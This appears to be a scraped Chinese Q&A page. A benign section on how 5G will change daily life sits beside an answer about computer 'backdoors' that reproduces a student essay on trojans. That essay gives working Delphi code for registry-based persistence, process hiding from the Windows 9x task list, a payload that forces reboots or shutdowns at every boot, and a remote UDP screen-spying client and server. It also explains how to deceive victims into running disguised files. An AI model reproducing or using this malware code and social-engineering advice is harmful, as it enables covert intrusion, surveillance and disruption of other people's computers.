5G网络的到来,会让我们的生活发生啥变化

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篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了5G网络的到来,会让我们的生活发生啥变化相关的知识,希望对你有一定的参考价值。

说起5G未来将带给行业和生活的变化,不少人都会神秘兮兮的说:”万物互联!”但到底什么是万物互联呢?

首先,大众对于5G的模糊印象应该就是一个“快”字。高通公司在去年的世界移动通信大会上表示,5G下载的速度峰值可以达到4500Mbps,初始中值速度也有1400Mbps,相当于目前4G网速的大约20倍。

“5G还有三大特征:一是大带宽,能够在人口密集区为更多用户提供更快的传输速度,支撑高清视频、虚拟现实技术用于视频媒体、影音娱乐领域的虚拟和增强现实和游戏场景应用,带动消费升级;

二是低时延、高可靠通信,主要面向工业互联网、智能制造、自动驾驶、智慧能源等领域,支撑制造业转型升级,高质量发展;

三是海量物联网通信,主要面向智慧城市、环境监测、智能农业、森林防火等以传感和数据采集、实时解析为目标的物联网领域,提高社会管理效益和增强安全防护能力。

伴随着5G逐步成熟,以5G为代表的移动通信技术有力地推动了人工智能、物联网、大数据、云计算等技术蓬勃发展,将这些人与人通信延伸到人与物、物与物的智能连接,万物互联的5G时代指日可待。

像咱们安徽电信,5G应用已经在有条不紊的进行中:今年2月,中国电信安徽公司在合肥新桥机场打造首个5G机场;3月10日,中国电信黄山分公司成功推出了安徽黄山5G+VR全景智慧旅游直播业务,实现远程360度VR纵览安徽黄山美景;8月15日,安徽电信和本省一家医院联手,开始实施5G远程医疗的服务,利用5G高速率、大带宽、低时延的特性,实现远程诊断、远程会诊、远程手术等操作……

就像前段时间因为一个5G测试视频大火的何同学说的一样,在4G刚来临时,我们想象不到现金会被手机支付取代,短视频、直播会这么火爆,那么在5G来临之际,也不要让想象力束缚5G的发展,换句话说,5G商用带来的改变不只是我们传统认知的“手机网速更快了”这么简单,它将极大地影响人类社会的工业生产、生活和娱乐等各个方面,这些变革或许我们现在无法准确预测,但对于不断进化的5G来说,真到了那一天,我们的想象力或许反而会成为最大的限制。

参考技术A 随着5G时代的到来,人类将迎来第四次工业革命——信息技术革命,它将扣开无人驾驶、虚拟现实、全息通讯、远程操控、智慧城市的钥匙。我们的生活也将发生翻天覆地的变化,例如在线直播开始进入3D实时全息直播时代;全息投影技术开始应用;远程全息视频会诊(跨国家和地区)逐步普及。在这方面,国内一些掌握核心技术的创新公司已经布局,比如说叠境数字科技,他们是光场技术公司,已经和中国移动、联通、电信三大运营商合力打造中国实时全息通讯业务,最新进展可以搜索一些研究报告应该会有收获!满意请采纳,谢谢~ 参考技术B 在前不久举办的2018上海世界移动大会上,中国联通、中国移动和中国电信三大运营商亮出了时间表:计划到2020年,实现5G网络正式商用!  
从4G到5G,新一代的移动通信技术,将给我们的生活带来哪些改变?
5G时代 高清电影“秒”下载
作为第五代移动通信技术,5G网络带给人们的第一感受就是——“快”!打开手机视频客户端,下载一部高清视频,只需一秒就能完成。
5G身上有很多新标签:“大规模天线”“新的编码技术”“超密集组网”……5G的“高带宽、高速率”这两个有别于4G的特性,使得5G网络的峰值速度比4G高出20倍。
在5G时代,人们能流畅地观看比现在1080p分辨率更高的视频,“5G时代的分辨率可以提高到4K、甚至是8K。”中国移动研究院无线与终端技术研究所主任研究员邓伟用视频举例,希望让普通用户更直接地了解5G的特性。
然而,这些只是5G最基础的本领,5G更大的“威力”,在于它的“低时延”特性。4G网络下,终端到基站的时延一般为5毫秒,终端到服务器的时延为50~100毫秒。5G网络下,终端到基站的时延可降低到1毫秒,终端到服务器达10毫秒。
如果你是一位电子游戏玩家,那么5G的这一优势,能给你带来更好的游戏体验。“尤其是用手机打实时类对战游戏时,游戏时延将大大降低。”邓伟告诉记者。
4G时代主要实现了“人与人”的快速通讯连接,但5G的“志向”远不止于此,它的目标是要让更多的“人和物”、“物和物”快速相连,进而推进万物互联时代的到来。
“人工智能”“虚拟现实”“车联网”“物联网” 这些科技领域的“新风口”,正在改变我们的生活。但4G网络技术的“天花板”,某种程度上,让这类技术的潜能难以充分发挥。
如虚拟现实技术,VR、AR设备虽经过几次迭代,但目前大多数设备的视觉效果仍不佳,其中一方面的原因和网络环境有关。而5G的高速率、低时延的特性将改变这种现状。赛迪顾问机构曾预测,5G网络大规模商用后,VR、AR设备的出货量将达到千万台级别。
“5G技术天生是为自动驾驶服务的”,在邓伟看来,5G的高速率、高稳定性和低时延特性将提高无人驾驶的安全性能,“自动驾驶需要加载高清地图,并对周围环境做出迅速判断反应,以及对车辆的远程控制,这些都对数据传输的可靠性、速率有很高的要求。”而5G网络的普及,会极大地推动无人驾驶应用场景的发展。
除了“无人驾驶”,借5G网络这股“东风”,2020年之后,“远程手术”“智能家居”等应用场景也将进一步走近消费者。根据目前业界的分析,全球5G应用领域将主要集中在车联网、公共安全、智慧城市、媒体及信息娱乐四个方面。这也是业界人士认为5G网络最大的价值,“能够和更多的产业深度融合”。据赛迪顾问机构预测,我国5G产业总体市场规模将达到1.15万亿元,比4G产业总体市场规模增长接近50%。
尽管离5G正式商用还有一年半的时间,但眼下在一些城市已能捕捉到5G的身影。今年年初,中国青年报·中青在线记者在雄安新区看到中国电信已经搭建了5G基站设备,并开始着手5G外场试验。
中国电信北京研究院网络技术与规划部专家邢燕霞告诉记者,中国电信将在外场试验上布局支持5G商用场景的5G试验网络,并进行组网测试。测试的内容包括5G信号的覆盖能力、强度、基站间的切换、4G和5G核心网之间的互操作等等。同时,中国电信会针对不同城市的发展规划,配备不同的测试业务。
事实上,三大运营商均已进入“5G时间”。中国电信计划在成都、雄安、深圳、上海、苏州、兰州等12个主要城市开展5G外场实验;中国移动将在杭州、上海、广州、苏州、武汉五个城市开展5G规模外场试验;中国联通将在北京、天津、 青岛、深圳、杭州、南京、武汉、贵阳、成都、福州、郑州和沈阳等16个城市展开测试。
5G标准 融入更多中国智慧
今年6月,5G国际标准的出台,被视为5G“破壳”。
6月,3GPP 5G NR标准SA(独立组网)方案正式完成并发布,标志着首个真正完整意义的国际5G标准正式出炉。SA独立组网相对于NSA(非独立组网)存在,其引入的新能力也是5G区别于4G的一个重要特征。NSA模式是只建5G基站,不建5G核心网,不能做到终端到终端直达的5G网络,信号传输要经过的路径多,时延也很长,不能很好地支持网路切片、边缘计算等5G的技术特征。而SA独立组网模式下,5G的基站连接5G的核心网,可通过核心网下沉部署到基站侧,使传输信号所需要经过的路径很少,可以直接从基站侧到达业务服务器。
赛迪顾问股份有限公司高级咨询师李朕告诉记者,SA独立组网方案的冻结,意味着基于5G网络的移动终端设备,可以在统一的标准下,开始进行研发生产测试。据媒体报道,2019年,基于5G芯片的商用终端将面世,其中包括英特尔的全互联PC、华为的5G手机等。
中国联通网络技术研究院5G项目组负责人王友祥认为,在5G的国际标准制定上,中国比以往任何时候都有“话语权”。在已经冻结的SA方案里,有一个重要的服务化架构(SBA),这个架构就是以中国为主导提出的。如果说3G时代,中国是在追着跑,4G时代是在齐头并进跑,到了5G时代,中国正力争成为领跑者之一。
从2013年开始,我国工信部、发改委和科技部联合推动成立了IMT-2020(5G)推进组,从国家层面,统一组织运营商和设备厂商,全面推进5G研发、国际合作和融合创新发展。这在很多行业人士看来,是我国推进5G的一个标志性起点。
如在带动标准制定上,中国移动向3GPP提交文稿1000余篇,担任了3个工作组副主席职务,担任了“需求与场景”“5G网络架构”等多个报告人职务;中国电信共主导5G国际标准立项30余项,提交国际标准文稿400多篇,获得技术专利保护100余项。同时,中国电信牵头国家重大专项7项,包括《5G网络边缘计算技术研发、标准化与验证》和《5G多无线接口融合架构及关键技术研发、试验与验证》等;中国联通成立了5G创新中心,在3GPP上牵头5项自主立项课题,在ITU牵头23项自主立项课题,提交自主文稿600余篇,发布16项5G相关产业白皮书,成立并推进了多个产业联盟。据王友祥介绍,目前,联通集团从管理部门到网络发展、政企、市场和各研究单位,都将5G列为重点工作。
有行业分析机构认为,5G面世后,互联网业务对运营商传统业务的替代效应,将进一步强化,会给电信运营商带来更大的压力,直接影响运营商的总体收入。王友祥认为,在TO C(面向个人)的市场上,目前通讯网络等业务的普及度很高,运营商面临的发展压力巨大,“5G时代,运营商应该更多的开拓TO B(面向企业)的市场。”
相较于传统的移动用户群体,面对功能强大的5G网络,电信运营商加快了在垂直行业上的布局,“在垂直行业的应用上,5G对电信运营商是一个更大的契机。”邢燕霞告诉记者。
在5G应用培育方面,中国移动成立了5G联创中心,在全球建立了12个开放实验室,已经发展了130家合作伙伴,汇集联合各行业合作伙伴,聚焦能源、交通、医疗、工业、视频娱乐、智慧城市等应用,开展新业务、新应用和新的商业模式的孵化和探索,为5G的全面商用做准备;中国联通组建了多个产业联盟,如中国联通5G工业互联网产业联盟、中国联通物联网产业联盟等等;中国电信在5G应用研发方面聚焦于探索新的商业模式,将5G的技术特性与云(雾)计算、物联网等相结合,实现与垂直行业的跨界融合。
走向商用 还需迈过多道坎
距离2020年正式商用还有一年半时间,时间紧、任务重。
SA独立组网的国际标准在今年上半年才正式冻结,从时间上看,比NSA非独立组网的冻结时间迟到半年。5G要商用,意味着要有进入市场的各种终端产品,而目前留给产业链上的研发、测试和生产,只有一年半时间,“这对整个产业都是个不小的挑战。”邓伟告诉记者。
5G的SA组网模式具有4G所不具备的能力,如切片、边缘计算等。它能更好地满足垂直行业在安全、服务上的传输保障。因此,更多运营商还是会选择SA作为目标网络架构,但从全球看,一些声称明年就要5G商用的国家,可能暂时只能选用NSA模式生产。而国内运营商倾向于选择SA组网,这也需要运营商对5G核心网进行新建,并且能将目前存量的核心网、用户数据,进行很好的对接。
在2018上海世界移动大会举办期间,中国移动研究院无线与终端技术研究所总工刘光毅就表示,5G网络要商用,还要迈过许多坎。目前,我国5G频谱还没有分配,不确定的频率分配会影响产业对设备开发等各方面的支持。希望政府能够尽快明确5G频率的分配方案,这样产业链便可以集中精力进行产品的优化和完善,确保2020年5G商用。
据邢燕霞介绍,在产业研发和网络部署方面,也有不少问题。如网络云化部署经验少、安全挑战环节多,“这是业界碰到的新问题”。“对于运营商来说,要解决的难题是如何做好组网,让5G网络性能更优,更好服务大众用户和垂直行业用户”,频段越高、穿透性反而会下降,5G的高频段特性,要求运营商重视室内穿透性问题。“这需要从现在就开始研究组网方案的问题,以及4G网络和5G网络如何顺利进行互操作,确保业务的连续性。”
而建立一个完备的网络,让各种垂直业务能顺利地“跑”起来也很重要。“运营商更要关注网络切片如何更好地服务垂直行业,满足垂直行业的个性化需求。”邢燕霞告诉记者。“未来的网络将走向‘云化’,运营商面临着转型问题,如何摆脱传统架构,走向云网协同时代?网络转型增加了运营商的人才需求。”王友祥说,这是全球运营商都会面临的问题,“原来运营商以通讯领域的人才需求为主,但未来需要更多的软件工程师。”
5G商用进入倒数计时阶段,终端设备的研发生产怎么办?邓伟告诉记者,和4G组网模式不同,5G目前有两种组网模式,由此,终端在研发上要考虑到独立组网和非独立组网两种模式。“这本身就意味着更大的研发成本,尤其是非独立组网的终端,实现复杂度较高。”
而用户对终端尺寸等要求也在不断提高,如何提高终端芯片的集成度值得思考。邢燕霞说,终端设备既要支持5G这个“新生儿”,也要保证4G、3G传统网络用户的正常使用。所以在设计上,终端需要支持多频多模,复杂度大大提升。“空口5G物理层器件的挑战也很大,包括高频滤波器、功率放大器和模数/数模转换器等器件,这些器件的产业规模、良品率、稳定性和性价比等方面需进一步提升。”
“芯片”是近期广受关注的领域,在5G基带芯片上,高通是全球的领跑者,也是国内设备厂商的合作伙伴,国内在核心芯片上还比较薄弱,需要加强自主研发。
5G最终实现商用,将是产业界共同努力的结果。
参考技术C 5G可以提供更高的速率、更低的时延、更多的连接数、更快的移动速率、更高的安全性以及更灵活的业务部署能力。不仅应用于通讯行业,其他行业应用也非常广泛,例如:医疗、港口、安防、教育、能源等领域,中国未来的经济和生活会有一个明显的变化。

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参考技术D 5G最基础的本领,5G更大的“威力”,在于它的“低时延”特性。4G网络下,终端到基站的时延一般为5毫秒,终端到服务器的时延为50~100毫秒。5G网络下,终端到基站的时延可降低到1毫秒,终端到服务器达10毫秒。仅仅只是这一个,我们的生活都会不一样,未来,5G将会影响我们更多。

电脑网络中的“后门”是啥意思?

电脑网络中的“后门”即是网络的漏洞

一、问题的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."这是著名匿名服务器站点Anonymizer上曾有过的一段话。是的,在不知不觉中,E时代已经到来,网络给我们的生活增添了绚丽与多彩。但是,在这五彩缤纷的世界下面,潜伏着一股黑潮暗流--黑客(HACKER)。这个名词越来越引起世人的关注,而且影响越来越大,关于黑客事件的报道也越来越多。黑客是伴随网络产生成长的,是指那些对电脑和网络有狂热兴趣的人,他们不断的研究电脑和网络知识,发现电脑和网络中的漏洞,喜欢挑战高难度的网络系统,千方百计的寻找网络中的大小漏洞,然后向网络管理员提出解决漏洞的建议。真正的黑客大多是赋有正义感的。他们不会恶意侵入他人系统,并且破坏系统程序和数据。但有一些人特别崇拜黑客,喜欢利用电脑网络四处捣乱,到处寻找黑客软件,然后到处搞破坏,这类人应该是网络上最危险的家伙。现在的媒体把这类人是黑客混为一谈,"黑客"一词也因此成了贬义词。
现在的黑客软件十分多,Back Orific、冰河、YAI到处都有。接触网络后,我经常想:黑客软件到底是如何编制的?我能编一个黑客软件多好呀!这到不是想干坏事,因为在网络机房上课时,用一些黑客软件可以作为控制工具来控制学员的机器(如:冰河)。可见黑客软件本身不象病毒是个不好的东西,是可以用在正路上的。经过我的摸索,初步掌握了一些设计方法,主要是特洛伊木马程序。本次毕业设计,我设计一个模拟黑客入侵程序,一个恶作剧程序,一个可以截获网络上别人在机器上干些什么的程序,几个程序纯属用于实验,没有什么其它目的。在这里向各位老师汇报一下。程序设计的语言用的是PASCAL,用DELPHI 4进行编译。

二、"特洛伊木马"如何入侵系统
一个完整的"特洛伊木马"一般分为两个部分:一个是客户服务程序(Client),用它来控制已经打开"后门"的机器;另一个是"后门"程序,用它来开放某台机器。假设我们想控制某台电脑,那么我们通过一些手段来把"后门"程序传到该电脑中并使其运行,这样该电脑就变成了一台特殊的FTP服务器。然后我们使用Client程序就可以控制该电脑了。当然,后门程序如果不运行也就无法发挥作用。因此,就要"诱骗"别人使用后门程序。如果是朋友或熟人,利用他们的信任让他运行就行了;要是陌生人,可以在聊天室中和他们套近乎,一旦取得信任,把程序发给他们,诱骗其运行。当然,程序要隐蔽一些,例如可以把后门程序改名,变为README之类,或改变后缀,变成GIF、BMP等,当他们双击这些文件后就上了"贼船"了。也可以用WINZIP的把后门程序和一些东西制作成一个自解压包,然后利用设定解压后自动运行SETUP程序功能来运行指定的后门程序。总之,要利用一切手段使人家运行后门程序。
木马程序运行后,会通过不同的方式修改系统,以便以后启动系统后自动运行木马。修改方法一般是通过修改注册表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的项目是在系统开机时自动加载的,我们可以在这两添加键值,达到自动启动的目的。以下的这段代码可以修改注册表,并调用API函数判断系统目录,复制文件到其下,以实行入侵系统的目的:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
Private declarations
public
Public declarations
end;

var
Form1: TForm1;

implementation

$R *.DFM

procedure TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring(' ',temp);
regf.free;
copyfile(pchar('hacker.exe'),pchar(temp),true);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.

也有些高明的程序可以感染系统文件,附着在这些程序文件中,以达到其目的。我还没有搞清楚这是怎样办到的。
在Windows中按下Ctrl+Alt+Del可以显示当前运行的程序,这样一来,我们的木马程序不是要露馅了吗?以下这段汇编代码可以很方便的嵌入DELPHI或C++中,让别人看不到你的程序,可以很好的隐藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
为什么这段汇编代码可以隐藏程序呢?据资料分析:在WINDOWS 9X加载应用程序时,FS指向的段就是类似于DOS应用程序的PSP,里面保存着一些有关应用程序重要数据,按下Ctrl+Alt+Del后,对于一个应用程序,若没有可显示的ENABLE窗口的名字,则系统要检查上面程序段中的特定双字是不是10800000h,如果是就不显示这个应用程序的可执行文件的名字。
下面是一个恶作剧的程序,入侵计算机后,每次开机后,随机出现鼠标乱跑并发出怪叫、热启动、强行关机的现象,让你无法进入WINDOWS 9X。对于一般的计算机用户来说,因为找不出这个程序在何处,所以只能格式化系统区,重新安装系统。

program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos (random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.

有的木马为了防止发现后被清除,在启动时会产生一个备份,一般是感染WINDOWS的系统文件,当木马被发现并清除后,备份会自动激活,使你依然处于远程黑手的控制。比如当前国最盛行的"冰河",首先会修改注册表的启动项目,将自己复制两份到系统中,分别为KERNEL32.EXE和SYSEXPLE.EXE,并且修改TXT文件的打开方式,一旦KERNEL32.EXE被删除,那么当打开一个TXT文件时,SYSEXPLE.EXE将再产生一个KERNEL32.EXE文件。
另外,有的木马还能在运行后修改文件名,或者复制感染系统后,进行自我销毁,使用户很难进行查找。

三、木马的种类
1、破坏型
惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。
2、密码发送型
可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。
在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWS API函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。
3、远程访问型
最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的操作。
程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。

受控机程序部分:
让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的ONDATARECEIVED事件;REMOTEPORT属性设为2222,当控件CUDP发送数据时,将数据发送到主控机的2222口。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;

type
Tclient = class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
Private declarations
public
Public declarations
end;

var
client: Tclient;

implementation
const bufsize=2048;//发送每一批数据的缓冲区大小
var
bmpstream:tmemorystream;
leftsize:longint;
$R *.DFM

procedure screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,srccopy);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;

procedure Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;

procedure Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;

procedure Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//读取控制码
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制码前4位为"SHOW"表示主控机发出了截屏指令
if bmpstream.Size=0 then//没有数据可发,必须截屏生成数据
begin tmpstr:=strpas(ctrlcode);
tmpstr:=copy(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint(copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//调用截屏函数
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP为主控机IP地址
cudp.SendBuffer(buf,sendsize);//将数据发到主控机的2222端口
end;
end;
end.

主控机程序部分:
让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发SUDP的ONDATARECEIVED事件;REMOTEPORT属性设为1111,当控件SUDP发送数据时,将数据发到受控机的1111口。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;

type
Tsever = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procedure BitBtn2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
Private declarations
public
Public declarations
end;

var
sever: Tsever;

implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
$R *.DFM

procedure Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;

procedure Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;

procedure Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;

procedure Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strpcopy(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;

procedure Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strpcopy(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.

四、如何预防黑客
黑客程序虽然破坏大,但不是不能防止的。
1、处理好你的密码
我们一般是用账号和密码来上网的,密码的设置无疑是十分讲求技巧的,许多人的安全防范意识差,不注意密码的设置,造成自己的账号被盗用。如今的黑客软件都是挂上密码字典,然后用穷举法进行破解,密码太简单,那么破解的可能性就大了。以下是一些注意事项。
⑴ 密码不可和账号相同,这是最容易被猜到的了。
⑵ 经常更改密码,拿到新账号后要立即更改密码,不要放久了。
⑶ 密码最好多于8个字符,字符越长,破解难度越大。例如WORD文档的密码大于8位后,目前的破解软件几乎无法攻破。另外,最好在密码中加入一些控制键,增加破译难度。千万不可用单一的字母或数字。
⑷ 有人喜欢用自己的生日、电话、身份证号码等作为密码,你不要这样做。
⑸ 密码尽量不要记显眼的纸张上,更不能保存在计算机中,不要贪图一时方便,用WINDOWS提供的保存密码功能。
2、不要运行不明真相的程序
无论都高明的黑客程序,只要你不去运行它,就无法害到你。所以,不可相信网友的话,不要去运行他提供的程序;不要随意去打开别人寄来的附件,无论他把附件中的图片或影片吹得如何好看;要到大的、著名的网站去下载软件,千万不要到不明真象的个人网页下载,因为在那儿你可能下载的病毒和黑客之手;如果你十分羡慕黑客,也请你不要下载所谓的黑客软件,否则你没害到别人,自己反被害了;如果你的机器上有防火墙,在上网时一定要打开,不要怕麻烦。
3、经常检查系统信息
上网过程中,突然觉得计算机工作不对劲时,仿佛感觉有人在遥远的地方遥控你。这时,你必须及时停止手中工作,运行"附件→系统工具→系统信息",在任务列表中寻找自己不熟悉的或者自己并没有运行的程序,一旦找到程序后应立即终止它的运行,以防后患。
4、最好不去聊天室
我一直认为聊天室没有什么意思,特别对于计算机专业人员,聊天只是浪费时间和金钱,有些恶意的破坏者利用网上聊天室的漏洞干坏事,例如聊天室支持JAVA、HTML等功能,然而,这小小的JAVA也隐藏"杀机",他可以发给你一个足以让你的机器当机的HTML语句。因为这些语句是不会在聊天室显示出来的,所以你被暗算了可能还不知道。防治的办法是在你的浏览器中关闭你的JAVA脚本。想聊天的,在公共机房聊聊算了,不能在自己的机器上聊天。
参考技术A 电脑网络中的“后门”即是网络的漏洞,可能被黑客利用的漏洞。 参考技术B 就是让攻击者可以在以后的日子里可以随时进行连接的东西,不一定是程序,可能会在你的系统里面留一个后门账户,可以随时进行远程桌面连接的后门账户。 参考技术C 后门就是黑客入侵电脑以后,为了方便下次入侵,在电脑上做的一个手脚。 参考技术D 这些是指木马病毒这些,使用杀毒软件来检测就行了。

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